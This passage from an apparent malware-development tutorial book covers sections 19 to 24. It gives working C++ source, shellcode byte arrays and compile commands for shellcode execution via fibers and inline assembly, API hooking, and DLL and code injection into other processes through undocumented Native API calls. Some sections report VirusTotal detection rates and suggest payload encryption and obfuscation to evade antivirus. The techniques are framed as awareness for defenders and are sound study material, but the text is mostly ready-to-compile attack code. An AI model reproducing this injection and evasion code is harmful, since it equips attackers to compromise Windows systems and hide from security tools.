0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,

145
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
Let’s go to compile our simple malware:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Let’s go to launch a hack.exe on windows 7 x64:


.\hack.exe

146
Also perfectly worked on windows 10 x64 (build 18363):

147
Let’s go to upload our malware to virustotal:

https://www.virustotal.com/gui/file/f03bdb9fa52f7b61ef03141fefff1498ad2612740b
1fdbf6941f1c5af5eee70a?nocache=1
So, 25 of 67 AV engines detect our file as malicious.
For better result we can combine payload encryption with random key and obfuscate
functions with another keys etc.
Also we can use AES encryption for payload encryption.
BlackHat USA 2019 process injection techniques Gotta Catch Them All
MSDN Fibers
VirtualAlloc
ConvertThreadToFiber
CreateFiber
SwitchToFiber
memcpy
Source code in Github

148
19. windows API hooking. Simple C++ example.

what is API hooking?


API hooking is a technique by which we can instrument and modify the behaviour and
flow of API calls. This technique is also used by many AV solutions to detect if code is
malicious.

example 1
Before hooking windows API functions I will consider the case of how to do this with
an exported function from a DLL.
For example we have DLL with this logic (pet.cpp):
/*
pet.dll - DLL example for basic hooking
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:

149
break;
}
return TRUE;
}

extern "C" {
__declspec(dllexport) int _cdecl Cat(LPCTSTR say) {
MessageBox(NULL, say, "=^..^=", MB_OK);
return 1;
}
}

extern "C" {
__declspec(dllexport) int _cdecl Mouse(LPCTSTR say) {
MessageBox(NULL, say, "<:3()~~", MB_OK);
return 1;
}
}

extern "C" {
__declspec(dllexport) int _cdecl Frog(LPCTSTR say) {
MessageBox(NULL, say, "8)~", MB_OK);
return 1;
}
}

extern "C" {
__declspec(dllexport) int _cdecl Bird(LPCTSTR say) {
MessageBox(NULL, say, "<(-)", MB_OK);
return 1;
}
}
As you can see this DLL have simplest exported functions: Cat, Mouse, Frog, Bird
with one param say. As you can see the logic of this functions is simplest, just pop-up
message with title.
Let’s go to compile it:
x86_64-w64-mingw32-gcc -shared -o pet.dll pet.cpp -fpermissive

150
and then, create a simple code to validate this DLL (cat.cpp):
#include <windows.h>

typedef int (__cdecl *CatProc)(LPCTSTR say);


typedef int (__cdecl *BirdProc)(LPCTSTR say);

int main(void) {
HINSTANCE petDll;
CatProc catFunc;
BirdProc birdFunc;
BOOL freeRes;

petDll = LoadLibrary("pet.dll");

if (petDll != NULL) {
catFunc = (CatProc) GetProcAddress(petDll, "Cat");
birdFunc = (BirdProc) GetProcAddress(petDll, "Bird");
if ((catFunc != NULL) && (birdFunc != NULL)) {
(catFunc) ("meow-meow");
(catFunc) ("mmmmeow");
(birdFunc) ("tweet-tweet");
}
freeRes = FreeLibrary(petDll);
}

return 0;
}
Let’s go to compile it:
x86_64-w64-mingw32-g++ -O2 cat.cpp -o cat.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

151
and run on Windows 7 x64:
.\cat.exe

and as you can see, everything works as expected.


Then, for example Cat function will be hooked in this scenario, but it could be any.
The workflow of this technique is as follows:

152
First, get memory address of the Cat function.

then, save the first 5 bytes of the Cat function. We will need this bytes:

then, create a myFunc function that will be executed when the original Cat is called:

overwrite 5 bytes with a jump to myFunc:

153
Then, create a “patch”:

in the next step, patch our Cat function (redirect Cat function to myFunc):

So what have we done here? This trick is “classic 5-byte hook” technique. If we disas-
semble function:

154
The highlighted 5 bytes is a fairly typical prologue found in many API functions. By
overwriting these first 5 bytes with a jmp instruction, we are redirecting execution to
our own defined function. We will save the original bytes so that they can be referenced
later when we want to pass execution back to the hooked function.
So firstly, we call original Cat function, set our hook and call Cat again:

Full source code is:


/*
hooking.cpp
basic hooking example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/30/basic-hooking-1.html
*/
#include <windows.h>

typedef int (__cdecl *CatProc)(LPCTSTR say);

155
// buffer for saving original bytes
char originalBytes[5];

FARPROC hookedAddress;

// we will jump to after the hook has been installed


int __stdcall myFunc(LPCTSTR say) {
HINSTANCE petDll;
CatProc catFunc;

// unhook the function: rewrite original bytes


WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress,
originalBytes, 5, NULL);

// return to the original function and modify the text


petDll = LoadLibrary("pet.dll");
catFunc = (CatProc) GetProcAddress(petDll, "Cat");

return (catFunc) ("meow-squeak-tweet!!!");


}

// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD src;
DWORD dst;
CHAR patch[5]= {0};

// get memory address of function Cat


hLib = LoadLibraryA("pet.dll");
hookedAddress = GetProcAddress(hLib, "Cat");

// save the first 5 bytes into originalBytes (buffer)


ReadProcessMemory(GetCurrentProcess(),
(LPCVOID) hookedAddress,
originalBytes, 5, NULL);

// overwrite the first 5 bytes with a jump to myFunc


myFuncAddress = &myFunc;

// will jump from the next instruction


// (after our 5 byte jmp instruction)
src = (DWORD)hookedAddress + 5;

156
dst = (DWORD)myFuncAddress;
rOffset = (DWORD *)(dst-src);

// \xE9 - jump instruction


memcpy(patch, "\xE9", 1);
memcpy(patch + 1, &rOffset, 4);

WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch,
5, NULL);

int main() {
HINSTANCE petDll;
CatProc catFunc;

petDll = LoadLibrary("pet.dll");
catFunc = (CatProc) GetProcAddress(petDll, "Cat");

// call original Cat function


(catFunc)("meow-meow");

// install hook
setMySuperHook();

// call Cat function after install hook


(catFunc)("meow-meow");

}
Let’s go to compile this:
x86_64-w64-mingw32-g++ -O2 hooking.cpp -o hooking.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

157
And see it in action (on Windows 7 x64 in this case):
.\hooking.exe

As you can see our hook is worked perfectly!! Cat goes meow-squeak-tweet!!!
instead meow-meow!

158
example 2
Similarly, you can hook for example, a function WinExec from kernel32.dll
(hooking2.cpp):
#include <windows.h>

// buffer for saving original bytes


char originalBytes[5];

FARPROC hookedAddress;

// we will jump to after the hook has been installed


int __stdcall myFunc(LPCSTR lpCmdLine, UINT uCmdShow) {

// unhook the function: rewrite original bytes


WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, originalBytes, 5, NULL);

// return to the original function and modify the text


return WinExec("calc", uCmdShow);
}

// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD src;
DWORD dst;
CHAR patch[5]= {0};

// get memory address of function MessageBoxA


hLib = LoadLibraryA("kernel32.dll");
hookedAddress = GetProcAddress(hLib, "WinExec");

// save the first 5 bytes into originalBytes (buffer)


ReadProcessMemory(GetCurrentProcess(),
(LPCVOID) hookedAddress, originalBytes, 5, NULL);

// overwrite the first 5 bytes with a jump to myFunc


myFuncAddress = &myFunc;

// will jump from the next instruction


// (after our 5 byte jmp instruction)
src = (DWORD)hookedAddress + 5;

159
dst = (DWORD)myFuncAddress;
rOffset = (DWORD *)(dst-src);

// \xE9 - jump instruction


memcpy(patch, "\xE9", 1);
memcpy(patch + 1, &rOffset, 4);

WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch, 5, NULL);

int main() {

// call original
WinExec("notepad", SW_SHOWDEFAULT);

// install hook
setMySuperHook();

// call after install hook


WinExec("notepad", SW_SHOWDEFAULT);

}
Let’s go to compile:
x86_64-w64-mingw32-g++ -O2 hooking2.cpp -o hooking2.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

160
and run:
.\hooking2.exe

So everything worked as expected.


Source code in Github
MessageBox
WinExec
Exporting from DLL using __declspec

161
20. run shellcode via inline ASM. Simple C++ example.

This is a very short section and it describes an example usage inline assembly for running
shellcode in malware.
Let’s take a look at example C++ source code of our malware:
/*
hack.cpp
code inject via inline ASM
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/03/inline-asm-1.html
*/
#include <windows.h>
#include <stdio.h>

int main() {
printf("=^..^= meow-meow. You are hacked =^..^=\n");
asm(".byte 0x90,0x90,0x90,0x90\n\t"
"ret \n\t");
return 0;
}
As you can see, the logic is simplest, I’m just adding 4 NOP instructions and printing
meow-meow string before. I can easily find the shellcode in the debugger based on this
meow string:

162
Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe \
-mconsole -fpermissive

And run in x96dbg (on Windows 7 x64 in my case):

As you can see, the highlighted instructions are my NOP instructions, so everything
work perfectly as expected.
The reason why it’s good to have this technique in your arsenal is because it does

163
not require you to allocate new RWX memory to copy your shellcode over to by us-
ing VirtualAlloc which is more popular and suspicious and which is more closely
investigated by the blue teamers.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
inline assembly
source code in Github

164
21. DLL injection via undocumented NtCreateThreadEx. Simple
C++ example.

In the previous sections I wrote about classic DLL injection via CreateRemoteThread,
via SetWindowsHookEx.
Today I’ll consider another DLL injection technique. Its meaning is that we are
using an undocumented function NtCreateThreadEx. So let’s go to show how to
inject malicious DLL into the remote process by leveraging a Win32API functions
VirtualAllocEx, WriteProcessMemory, WaitForSingleObject and an officially
undocumented Native API NtCreateThreadEx.
First of all, let’s take a look at example C++ source code of our malicious DLL (evil.c):
/*
DLL example for DLL injection via NtCreateThreadEx
author: @cocomelonc
https://cocomelonc.github.io/pentest/2021/12/06/malware-injection-9.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",

165
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
As usually, it’s pretty simple. Just pop-up “Meow-meow!”.
Let’s go to compile our DLL:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

Then, let’s take a look to the source code of our malware (hack.cpp):
/*
hack.cpp
DLL injection via undocumented NtCreateThreadEx example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/06/malware-injection-9.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>

#pragma comment(lib, "advapi32.lib")

typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (


OUT PHANDLE hThread,

166
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

167
int main(int argc, char* argv[]) {
DWORD pid = 0; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer
SIZE_T rl; // return length

char evilDll[] = "evil.dll";


int evilLen = sizeof(evilDll) + 1;

HMODULE hKernel32 = GetModuleHandle("Kernel32");


LPTHREAD_START_ROUTINE lb =
(LPTHREAD_START_ROUTINE) GetProcAddress(
hKernel32, "LoadLibraryA");
pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(
GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");

if (ntCTEx == NULL) {
CloseHandle(ph);
printf("NtCreateThreadEx failed :( exiting...\n");
return -2;
}

pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

if (ph == NULL) {
printf("OpenProcess failed :( exiting...\n");
return -2;
}

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, evilLen,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// write payload to memory buffer


WriteProcessMemory(ph, rb, evilDll, evilLen, rl); // NULL);

ntCTEx(&ht, 0x1FFFFF, NULL, ph,

168
(LPTHREAD_START_ROUTINE) lb, rb,
FALSE, NULL, NULL, NULL, NULL);

if (ht == NULL) {
CloseHandle(ph);
printf("ThreadHandle failed :( exiting...\n");
return -2;
} else {
printf("successfully inject via NtCreateThreadEx :)\n");
}

WaitForSingleObject(ht, INFINITE);

CloseHandle(ht);
CloseHandle(ph);
}
return 0;
}
Let’s go to investigate this code logic. As you can see, firstly, I used a function
FindMyProc from one of my past posts. It’s pretty simple, basically, what it does, it
takes the name of the process we want to inject to and try to find it in a memory of the
operating system, and if it exists, it’s running, this function return a process ID of that
process.
Then, in main function our logic is same as in my classic DLL injection post. The only
difference is we use NtCreateThreadEx function instead CreateRemoteThread:

As shown in this code, the Windows API call can be replaced with Native API call func-

169
tions. For example, VirtualAllocEx can be replace with NtAllocateVirtualMemory,
WriteProcessMemory can be replaces with NtWriteProcessMemory.
The downside to this method is that the function is undocumented so it may change in
the future.
But there is a caveat. Let’s go to create simple code for our “victim” process (mouse.c):
/*
hack.cpp
victim process source code for DLL injection via NtCreateThreadEx
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/06/malware-injection-9.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int main() {
MessageBox(NULL, "Squeak-squeak!", "<:( )~~", MB_OK);
return 0;
}
As you can see, the logic is simplest, I’s just pop-up Squeak-squeak! message. Let’s
go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-fpermissive

And check:

170
So everything is worked perfectly.
Let’s go to inject our malicious DLL to this process. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, run process hacker 2:

171
As you can see, the highlighted process is our victim mouse.exe.
Let’s run our simple malware:
.\hack.exe mouse.exe

172
As you can see our malware is correctly found process ID of victim.
Let’s go to investigate properties of our victim process PID: 3884:

173
As you can see, our malicious DLL successfully injected as expected!
But why we are not injecting to the another process like notepad.exe or
svchost.exe?
I read about Session Separation and I think it is reason of my problem so I have one
question: How I can hacking Windows 10 :)
The reason why it’s good to have this technique in your arsenal is because we are not
using CreateRemoteThread which is more popular and suspicious and which is more
closely investigated by the blue teamers.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Session Separation
source code in Github

174
22. code injection via undocumented NtAllocateVirtualMemory.
Simple C++ example.

In the previous section I wrote about DLL injection via undocumented NtCreateThreadEx.
Today I tried to replace another function, for example VirtualAllocEx with undoc-
umented NT API function NtAllocateVirtualMemory. That’s what came out of it.
So let’s go to show how to inject payload into the remote process by leveraging a WIN
API functions WriteProcessMemory, CreateRemoteThread and an officially undoc-
umented Native API NtAllocateVirtualMemory.
First of all, let’s take a look at function NtAllocateVirtualMemory syntax:
NTSYSAPI
NTSTATUS
NTAPI NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
So what does this function do? By documentation, reserves, commits, or both, a region
of pages within the user-mode virtual address space of a specified process. So, similar
to Win API VirtualAllocEx.
In order to use NtAllocateVirtualMemory function, we have to define its definition in
our code:

175
Then, loading the ntdll.dll library to invoke NtAllocateVirtualMemory:

And then get starting address of the our function:

And finally allocate memory:

And otherwise the main logic is the same.

176
As shown in this code, the Windows API call can be replaced with Native API call func-
tions. For example, VirtualAllocEx can be replace with NtAllocateVirtualMemory,
WriteProcessMemory can be replaces with NtWriteProcessMemory.
The downside to this method is that the function is undocumented so it may change in
the future.
Let’s go to see our simple malware in action. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, run process hacker 2:

177
For example, the highlighted process mspaint.exe is our victim.
Let’s run our simple malware:
.\hack.exe 6252

As you can see our meow-meow messagebox is popped-up.


Let’s go to investigate properties of our victim process PID: 6252:

178
As you can see, our meow-meow payload successfully injected as expected!
The reason why it’s good to have this technique in your arsenal is because we are not
using VirtualAllocEx which is more popular and suspicious and which is more closely
investigated by the blue teamers.
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
In the next section I’ll try to consider another NT API functions, the main logic is
the same but there is a caveat with defining the structures and associated parameters.
Without defining this structures the code will not run.
VirtualAllocEx
NtAllocateVirtualMemory
WriteProcessMemory
CreateRemoteThread
source code in Github

179
23. code injection via undocumented Native API functions. Simple
C++ example.

In the previous sections I wrote about DLL injection via undocumented NtCreateThreadEx
and NtAllocateVirtualMemory.
The following post is a result of self-research of malware development technique which
is interaction with the undocumented Native API.
Today I tried to replace another function OpenProcess with undocumented Native API
function NtOpenProcess.
First of all, let’s take a look at function NtOpenProcess syntax:
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId
);
Here it is worth paying attention to the ObjectAttributes and ClientId parameters.
ObjectAttributes - a pointer to an OBJECT_ATTRIBUTES structure that specifies
the attributes to apply to the process object handle. This has to be defined and initialized
prior to opening the handle. ClientId - a pointer to a client ID that identifies the thread
whose process is to be opened.
In order to use NtOpenProcess function, we have to define its definition in our code:

180
Similarly, OBJECT_ATTRIBUTES and PCLIENT_ID need to be defined. These structures
are defined under NT Kernel header files.
We can run WinDBG in local kernel mode and run:
dt nt!_OBJECT_ATTRIBUTES

Then run:
dt nt!_CLIENT_ID

181
and:
dt nt!_UNICODE_STRING

182
There is one more caveat. Before returning the handle by the NtOpenProcess func-
tion/ routine, the Object Attributes need to be initialized which can be applied to the
handle. To initialize the Object Attributes an IntitializeObjectAttributes macro
is defined and invoked which specifies the properties of an object handle to routines that
open handles.

IntitializeObjectAttributes
Then, loading the ntdll.dll library to invoke NtOpenProcess:

183
And then get starting addresses of the our functions:

And finally open process:

And otherwise the main logic is the same.

As shown in this code, the Windows API call OpenProcess can be replaced with Native
API call function NtOpenProcess. But we need to define the structures which are

184
defined in the NT kernel header files.
The downside to this method is that the function is undocumented so it may change in
the future.
Let’s go to see our simple malware in action. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, run process hacker 2:

For example, the highlighted process mspaint.exe is our victim.


Let’s run our simple malware:

185
.\hack.exe 4964

As you can see our meow-meow messagebox is popped-up.


Let’s go to investigate properties of our victim process PID: 4964:

As you can see, our meow-meow payload successfully injected as expected!


As you can see the main logic is the same with previous NT API function call techniques
but there is a caveat with defining the structures and associated parameters. Without
defining this structures the code will not run.
The reason why it’s good to have this technique in your arsenal is because we are not

186
using OpenProcess which is more popular and suspicious and which is more closely
investigated by the blue teamers.
Let’s go to upload our new hack.exe with encrypted command to Virustotal
(13.12.2021):

https://www.virustotal.com/gui/file/9f4213643891fc14473948deb15077d9b7b4d2
da3db467932e57e7e383e535e6?nocache=1
So, 5 of 65 AV engines detect our file as malicious.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
WinDBG kernel debugging
VirtualAllocEx
NtOpenProcess
NtAllocateVirtualMemory
WriteProcessMemory
CreateRemoteThread
source code in Github

187
24. code injection via memory sections. Simple C++ example.

In the previous sections I wrote about classic injections where WinAPI functions replaced
with Native API functions.
The following section is a result of self-research of another malware development tech-
nique.
Although the use of these trick in a regular application is an indication of something
malicious, threat actors will continue to use them for process injection.

what is section?
Section is a memory block that is shared between processes and can be created with
NtCreateSection API.

practical example.
The flow is this technique is: firstly, we create a new section object via
NtCreateSection:

188
Then, before a process can read/write to that block of memory, it has to map a view of
the said section, which can be done with NtMapViewOfSection:

Map a view of the created section to the local malicious process with RW protection:

Then, map a view of the created section to the remote target process with RX protection:

As you can see for opening process I used Native API NtOpenProcess function:

189
Then, write our payload:
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

Then, create a remote thread in the target process and point it to the mapped view in

190
the target process to trigger the shellcode via RtlCreateUserThread:

Finally, I used ZwUnmapViewOfSection for clean up:

So full code which demonstrates this technique is:


/*

191
* hack.cpp
* advanced code injection technique via
* NtCreateSection and NtMapViewOfSection
* author @cocomelonc
* https://cocomelonc.github.com/tutorial/
2021/12/13/malware-injection-12.html
*/
#include <iostream>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll")


#pragma comment(lib, "advapi32.lib")

#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}

// dt nt!_UNICODE_STRING
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

// dt nt!_OBJECT_ATTRIBUTES
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

// dt nt!_CLIENT_ID
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

192
// NtCreateSection syntax
typedef NTSTATUS(NTAPI* pNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);

// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);

// RtlCreateUserThread syntax
typedef NTSTATUS(NTAPI* pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);

// NtOpenProcess syntax
typedef NTSTATUS(NTAPI* pNtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK AccessMask,
POBJECT_ATTRIBUTES ObjectAttributes,

193
PCLIENT_ID ClientID
);

